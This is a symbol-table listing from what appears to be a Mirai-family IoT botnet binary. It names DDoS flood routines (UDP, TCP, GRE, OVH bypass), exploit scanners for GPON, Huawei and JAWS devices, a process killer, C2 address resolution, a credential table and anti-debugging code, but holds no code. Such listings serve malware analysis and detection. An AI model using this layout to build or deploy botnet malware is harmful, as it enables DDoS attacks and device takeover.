__read	.symtab	0x8057e10	91	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x8057e1a	33	FUNC	<unknown>	DEFAULT	2
__register_frame_info_bases	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore	.symtab	0x8058227	0	NOTYPE	<unknown>	DEFAULT	2
__restore_rt	.symtab	0x8058220	0	NOTYPE	<unknown>	DEFAULT	2
__rtld_fini	.symtab	0x805ce98	4	OBJECT	<unknown>	HIDDEN	12
__sigaddset	.symtab	0x8056150	32	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x8056170	32	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x805612c	36	FUNC	<unknown>	DEFAULT	2
__socketcall	.symtab	0x80582c0	43	FUNC	<unknown>	HIDDEN	2
__socketcall.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__stdin	.symtab	0x805c704	4	OBJECT	<unknown>	DEFAULT	11
__stdio_READ	.symtab	0x8059cf8	62	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x8059d38	139	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x8059dc4	37	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x8059dec	92	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x8059018	37	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x805c708	4	OBJECT	<unknown>	DEFAULT	11
__syscall_error	.symtab	0x8058210	15	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x805851c	41	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x80582ec	53	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x805583c	57	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x8057f43	56	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x8057fa7	39	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x8057fce	577	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x805c6e4	4	OBJECT	<unknown>	HIDDEN	11
__write	.symtab	0x8057db0	91	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x8057dba	33	FUNC	<unknown>	DEFAULT	2
__xstat32_conv	.symtab	0x8058677	138	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x80585d4	163	FUNC	<unknown>	HIDDEN	2
_dl_aux_init	.symtab	0x8059b5c	18	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x8059b6e	68	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x805fa58	4	OBJECT	<unknown>	DEFAULT	12
_dl_phnum	.symtab	0x805fa5c	4	OBJECT	<unknown>	DEFAULT	12
_dl_tls_dtv_gaps	.symtab	0x805fa4c	1	OBJECT	<unknown>	DEFAULT	12
_dl_tls_dtv_slotinfo_list	.symtab	0x805fa48	4	OBJECT	<unknown>	DEFAULT	12
_dl_tls_generation	.symtab	0x805fa50	4	OBJECT	<unknown>	DEFAULT	12
_dl_tls_max_dtv_idx	.symtab	0x805fa40	4	OBJECT	<unknown>	DEFAULT	12
_dl_tls_setup	.symtab	0x805991a	48	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x805fa3c	4	OBJECT	<unknown>	DEFAULT	12
_dl_tls_static_nelem	.symtab	0x805fa54	4	OBJECT	<unknown>	DEFAULT	12
_dl_tls_static_size	.symtab	0x805fa44	4	OBJECT	<unknown>	DEFAULT	12
_dl_tls_static_used	.symtab	0x805fa38	4	OBJECT	<unknown>	DEFAULT	12
_edata	.symtab	0x805c7e0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x805fa60	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x8058324	66	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x8059f07	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x805cebc	8192	OBJECT	<unknown>	DEFAULT	12
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80480b4	0	FUNC	<unknown>	DEFAULT	1
_pthread_cleanup_pop_restore	.symtab	0x8057f2c	23	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x8057f1a	18	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x8058280	34	FUNC	<unknown>	DEFAULT	2
_sigintr	.symtab	0x805f6b0	8	OBJECT	<unknown>	HIDDEN	12
_start	.symtab	0x8048184	34	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x8058c38	664	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x8058f0c	59	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x805c70c	4	OBJECT	<unknown>	DEFAULT	11
_stdio_openlist_add_lock	.symtab	0x805ce9c	12	OBJECT	<unknown>	DEFAULT	12
_stdio_openlist_dec_use	.symtab	0x8059174	320	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x805ceb8	4	OBJECT	<unknown>	DEFAULT	12
_stdio_openlist_del_lock	.symtab	0x805cea8	12	OBJECT	<unknown>	DEFAULT	12
_stdio_openlist_use_count	.symtab	0x805ceb4	4	OBJECT	<unknown>	DEFAULT	12
_stdio_streams	.symtab	0x805c714	204	OBJECT	<unknown>	DEFAULT	11
_stdio_term	.symtab	0x8058f47	208	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x805c710	4	OBJECT	<unknown>	DEFAULT	11
_stdlib_strto_l	.symtab	0x8057528	278	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x80570cc	191	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
accept	.symtab	0x8055d2c	84	FUNC	<unknown>	DEFAULT	2
accept.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_auth_entry	.symtab	0x80526c0	301	FUNC	<unknown>	DEFAULT	2
anti_gdb_entry	.symtab	0x80512c0	11	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x80574fc	17	FUNC	<unknown>	DEFAULT	2
atol	.symtab	0x80574fc	17	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_app.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_app_http	.symtab	0x8048a40	8178	FUNC	<unknown>	DEFAULT	2
attack_get_opt_int	.symtab	0x8048630	109	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0x80485c0	101	FUNC	<unknown>	DEFAULT	2
attack_get_opt_str	.symtab	0x80481b0	92	FUNC	<unknown>	DEFAULT	2
attack_gre.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_gre_eth	.symtab	0x804aa40	1357	FUNC	<unknown>	DEFAULT	2
attack_gre_ip	.symtab	0x804af90	1242	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0x80486a0	924	FUNC	<unknown>	DEFAULT	2
attack_kill_all	.symtab	0x80482d0	121	FUNC	<unknown>	DEFAULT	2
attack_method_ovh	.symtab	0x804dcc0	1350	FUNC	<unknown>	DEFAULT	2
attack_method_raw	.symtab	0x804c980	1245	FUNC	<unknown>	DEFAULT	2
attack_ongoing	.symtab	0x805c804	12	OBJECT	<unknown>	DEFAULT	12
attack_parse	.symtab	0x8048350	613	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0x8048210	192	FUNC	<unknown>	DEFAULT	2
attack_tcp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_tcp_ack	.symtab	0x804bb60	1433	FUNC	<unknown>	DEFAULT	2
attack_tcp_stomp	.symtab	0x804b470	1775	FUNC	<unknown>	DEFAULT	2
attack_tcp_syn	.symtab	0x804c100	1350	FUNC	<unknown>	DEFAULT	2
attack_udp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_udp_dns	.symtab	0x804d650	1639	FUNC	<unknown>	DEFAULT	2
attack_udp_generic	.symtab	0x804ce60	1122	FUNC	<unknown>	DEFAULT	2
attack_udp_plain	.symtab	0x804c650	812	FUNC	<unknown>	DEFAULT	2
attack_udp_vse	.symtab	0x804d2d0	896	FUNC	<unknown>	DEFAULT	2
auth_table	.symtab	0x805c928	4	OBJECT	<unknown>	DEFAULT	12
auth_table_len	.symtab	0x805c8e4	4	OBJECT	<unknown>	DEFAULT	12
auth_table_max_weight	.symtab	0x805c92c	2	OBJECT	<unknown>	DEFAULT	12
been_there_done_that	.symtab	0x805c938	1	OBJECT	<unknown>	DEFAULT	12
bind	.symtab	0x8055d80	40	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
brk	.symtab	0x8059bb4	44	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x80560a4	136	FUNC	<unknown>	DEFAULT	2
calloc	.symtab	0x8056940	236	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0x804e210	70	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0x804e260	169	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x8055c04	34	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x8057d00	80	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0x8055978	130	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.4963	.symtab	0x805c7e0	1	OBJECT	<unknown>	DEFAULT	12
conn_table	.symtab	0x805f400	4	OBJECT	<unknown>	DEFAULT	12
connect	.symtab	0x8055da8	84	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ensure_single_instance	.symtab	0x80512d0	311	FUNC	<unknown>	DEFAULT	2
environ	.symtab	0x805ce8c	4	OBJECT	<unknown>	DEFAULT	12
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	6
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x8057640	93	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fake_time	.symtab	0x805c930	4	OBJECT	<unknown>	DEFAULT	12
fclose	.symtab	0x8058a4c	380	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x8055677	153	FUNC	<unknown>	DEFAULT	2
fd_ctrl	.symtab	0x805c5dc	4	OBJECT	<unknown>	DEFAULT	11
fd_serv	.symtab	0x805c5e0	4	OBJECT	<unknown>	DEFAULT	11
fd_to_DIR	.symtab	0x80559fc	136	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0x8055b08	108	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x80592b4	447	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x8059040	145	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x8059510	204	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x80590e8	118	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x80595dc	94	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fopen	.symtab	0x8058c20	21	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x8057970	524	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork_handler_pool	.symtab	0x805c944	1348	OBJECT	<unknown>	DEFAULT	12
frame_dummy	.symtab	0x8048130	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x8056f20	399	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x8058368	70	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getc	.symtab	0x8059040	145	FUNC	<unknown>	DEFAULT	2
getc_unlocked	.symtab	0x8059510	204	FUNC	<unknown>	DEFAULT	2
getdents.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdtablesize	.symtab	0x8058434	32	FUNC	<unknown>	DEFAULT	2
getdtablesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x8058454	8	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x805845c	8	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x8058464	8	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpagesize	.symtab	0x805846c	19	FUNC	<unknown>	DEFAULT	2
getpagesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x8057b9c	49	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x8055710	8	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit	.symtab	0x8058480	43	FUNC	<unknown>	DEFAULT	2
getrlimit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockname	.symtab	0x8055dfc	40	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x8055e24	56	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x80584ac	8	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gpon443.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gpon443_fake_time	.symtab	0x805c848	4	OBJECT	<unknown>	DEFAULT	12
gpon443_kill	.symtab	0x804e310	20	FUNC	<unknown>	DEFAULT	2
gpon443_ranges	.symtab	0x805c5a0	60	OBJECT	<unknown>	DEFAULT	11
gpon443_rsck	.symtab	0x805c814	4	OBJECT	<unknown>	DEFAULT	12
gpon443_scanner	.symtab	0x804e400	2623	FUNC	<unknown>	DEFAULT	2
gpon443_scanner_pid	.symtab	0x805c810	4	OBJECT	<unknown>	DEFAULT	12
gpon443_scanner_rawpkt	.symtab	0x805c820	40	OBJECT	<unknown>	DEFAULT	12
gpon443_setup_connection	.symtab	0x804e330	207	FUNC	<unknown>	DEFAULT	2
h_errno	.symtab	0x4	4	TLS	<unknown>	DEFAULT	6
huawei.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huaweiscanner_fake_time	.symtab	0x805c888	4	OBJECT	<unknown>	DEFAULT	12
huaweiscanner_rsck	.symtab	0x805c850	4	OBJECT	<unknown>	DEFAULT	12
huaweiscanner_scanner_init	.symtab	0x804ef30	2708	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_kill	.symtab	0x804ee40	20	FUNC	<unknown>	DEFAULT	2
huaweiscanner_scanner_pid	.symtab	0x805c84c	4	OBJECT	<unknown>	DEFAULT	12
huaweiscanner_scanner_rawpkt	.symtab	0x805c860	40	OBJECT	<unknown>	DEFAULT	12
huaweiscanner_setup_connection	.symtab	0x804ee60	207	FUNC	<unknown>	DEFAULT	2
index	.symtab	0x805963c	30	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x8055d0c	31	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x8059800	148	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
init_static_tls	.symtab	0x80598f0	42	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initstate	.symtab	0x805722d	85	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x80573bf	155	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x8055718	139	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ioctl_keepalive	.symtab	0x8051480	613	FUNC	<unknown>	DEFAULT	2
ioctl_pid	.symtab	0x805c8cc	4	OBJECT	<unknown>	DEFAULT	12
isatty	.symtab	0x8059784	27	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
jaws.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
jaws_fake_time	.symtab	0x805c8c8	4	OBJECT	<unknown>	DEFAULT	12
jaws_kill	.symtab	0x804f9d0	20	FUNC	<unknown>	DEFAULT	2
jaws_rsck	.symtab	0x805c890	4	OBJECT	<unknown>	DEFAULT	12
jaws_scanner	.symtab	0x804fac0	2348	FUNC	<unknown>	DEFAULT	2
jaws_scanner_pid	.symtab	0x805c88c	4	OBJECT	<unknown>	DEFAULT	12
jaws_scanner_rawpkt	.symtab	0x805c8a0	40	OBJECT	<unknown>	DEFAULT	12
jaws_setup_connection	.symtab	0x804f9f0	207	FUNC	<unknown>	DEFAULT	2
kill	.symtab	0x80557a4	43	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_init	.symtab	0x8050a70	2126	FUNC	<unknown>	DEFAULT	2
killer_kill	.symtab	0x80503f0	20	FUNC	<unknown>	DEFAULT	2
killer_kill_by_port	.symtab	0x8050410	1621	FUNC	<unknown>	DEFAULT	2
killer_pid	.symtab	0x805f408	4	OBJECT	<unknown>	DEFAULT	12
killer_realpath	.symtab	0x805f404	4	OBJECT	<unknown>	DEFAULT	12
libc-cancellation.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-tls.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
listen	.symtab	0x8055e5c	32	FUNC	<unknown>	DEFAULT	2
listen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
local_bind.4914	.symtab	0x805c5e8	1	OBJECT	<unknown>	DEFAULT	11
lseek64	.symtab	0x8059e7c	90	FUNC	<unknown>	DEFAULT	2
main	.symtab	0x80516f0	1906	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc	.symtab	0x80561b6	1928	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc_trim	.symtab	0x80570af	29	FUNC	<unknown>	DEFAULT	2
memcpy	.symtab	0x8055c28	41	FUNC	<unknown>	DEFAULT	2
memcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memmove	.symtab	0x8055c54	37	FUNC	<unknown>	DEFAULT	2
memmove.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mempcpy	.symtab	0x8059e5c	30	FUNC	<unknown>	DEFAULT	2
mempcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x8055c7c	50	FUNC	<unknown>	DEFAULT	2
memset.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
methods	.symtab	0x805c800	4	OBJECT	<unknown>	DEFAULT	12
methods_len	.symtab	0x805c7fc	1	OBJECT	<unknown>	DEFAULT	12
mmap	.symtab	0x80582a4	27	FUNC	<unknown>	DEFAULT	2
mremap	.symtab	0x80584b4	59	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x80584f0	43	FUNC	<unknown>	DEFAULT	2
munmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x805c608	24	OBJECT	<unknown>	DEFAULT	11
mylock	.symtab	0x805c620	24	OBJECT	<unknown>	DEFAULT	11
nanosleep	.symtab	0x8058545	61	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
next_start.1451	.symtab	0x805c934	4	OBJECT	<unknown>	DEFAULT	12
nprocessors_onln	.symtab	0x80576a0	196	FUNC	<unknown>	DEFAULT	2
object.4975	.symtab	0x805c7e4	24	OBJECT	<unknown>	DEFAULT	12
open	.symtab	0x8057d50	91	FUNC	<unknown>	DEFAULT	2
opendir	.symtab	0x8055a84	132	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
p.4961	.symtab	0x805c584	0	OBJECT	<unknown>	DEFAULT	11
parse_config.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
pending_connection	.symtab	0x805c8d0	1	OBJECT	<unknown>	DEFAULT	12
prctl	.symtab	0x80557d0	59	FUNC	<unknown>	DEFAULT	2
prctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
program_invocation_name	.symtab	0x805c6ec	4	OBJECT	<unknown>	DEFAULT	11
program_invocation_short_name	.symtab	0x805c6e8	4	OBJECT	<unknown>	DEFAULT	11
pseudo_cancel	.symtab	0x8057d25	0	NOTYPE	<unknown>	DEFAULT	2
pseudo_cancel	.symtab	0x8057d7b	0	NOTYPE	<unknown>	DEFAULT	2
pseudo_cancel	.symtab	0x8057ddb	0	NOTYPE	<unknown>	DEFAULT	2
pseudo_cancel	.symtab	0x8057e3b	0	NOTYPE	<unknown>	DEFAULT	2
pseudo_end	.symtab	0x8057d4f	0	NOTYPE	<unknown>	DEFAULT	2
pseudo_end	.symtab	0x8057daa	0	NOTYPE	<unknown>	DEFAULT	2
pseudo_end	.symtab	0x8057e0a	0	NOTYPE	<unknown>	DEFAULT	2
pseudo_end	.symtab	0x8057e6a	0	NOTYPE	<unknown>	DEFAULT	2
raise	.symtab	0x8057bd0	100	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x805718c	5	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand_alphastr	.symtab	0x8051ef0	268	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0x8051eb0	63	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0x8051e70	64	FUNC	<unknown>	DEFAULT	2
rand_str	.symtab	0x8052000	218	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x8057194	66	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_poly_info	.symtab	0x805b13c	10	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x80572c0	95	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x805c64c	128	OBJECT	<unknown>	DEFAULT	11
rawmemchr	.symtab	0x8059e48	19	FUNC	<unknown>	DEFAULT	2
rawmemchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read	.symtab	0x8057e10	91	FUNC	<unknown>	DEFAULT	2
readdir	.symtab	0x8055b74	127	FUNC	<unknown>	DEFAULT	2
readdir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readdir64	.symtab	0x8058704	129	FUNC	<unknown>	DEFAULT	2
readdir64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
readlink	.symtab	0x805580c	47	FUNC	<unknown>	DEFAULT	2
readlink.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x8056a2c	763	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recv	.symtab	0x8055e7c	92	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvfrom	.symtab	0x8055ed8	108	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
register-atfork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
resolv_entries_free	.symtab	0x80520e0	52	FUNC	<unknown>	DEFAULT	2
resolv_lookup	.symtab	0x8052120	1192	FUNC	<unknown>	DEFAULT	2
resolve_cnc_addr	.symtab	0x8051410	103	FUNC	<unknown>	DEFAULT	2
resolve_func	.symtab	0x805c5e4	4	OBJECT	<unknown>	DEFAULT	11
rindex	.symtab	0x8059698	26	FUNC	<unknown>	DEFAULT	2
rsck	.symtab	0x805f41c	4	OBJECT	<unknown>	DEFAULT	12
rsck_out	.symtab	0x805f424	4	OBJECT	<unknown>	DEFAULT	12
sbrk	.symtab	0x8058584	64	FUNC	<unknown>	DEFAULT	2
sbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanner_init	.symtab	0x80527f0	6836	FUNC	<unknown>	DEFAULT	2
scanner_kill	.symtab	0x80525d0	20	FUNC	<unknown>	DEFAULT	2
scanner_pid	.symtab	0x805f420	4	OBJECT	<unknown>	DEFAULT	12
scanner_rawpkt	.symtab	0x805c900	40	OBJECT	<unknown>	DEFAULT	12
select	.symtab	0x8055875	108	FUNC	<unknown>	DEFAULT	2
select.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
send	.symtab	0x8055f44	92	FUNC	<unknown>	DEFAULT	2
send.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sendto	.symtab	0x8055fa0	108	FUNC	<unknown>	DEFAULT	2
sendto.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsid	.symtab	0x80558e4	31	FUNC	<unknown>	DEFAULT	2
setsid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsockopt	.symtab	0x805600c	56	FUNC	<unknown>	DEFAULT	2
setsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setstate	.symtab	0x80571d6	87	FUNC	<unknown>	DEFAULT	2
setstate_r	.symtab	0x805745a	161	FUNC	<unknown>	DEFAULT	2
setup_connection	.symtab	0x80525f0	200	FUNC	<unknown>	DEFAULT	2
sigaction	.symtab	0x805822f	80	FUNC	<unknown>	DEFAULT	2
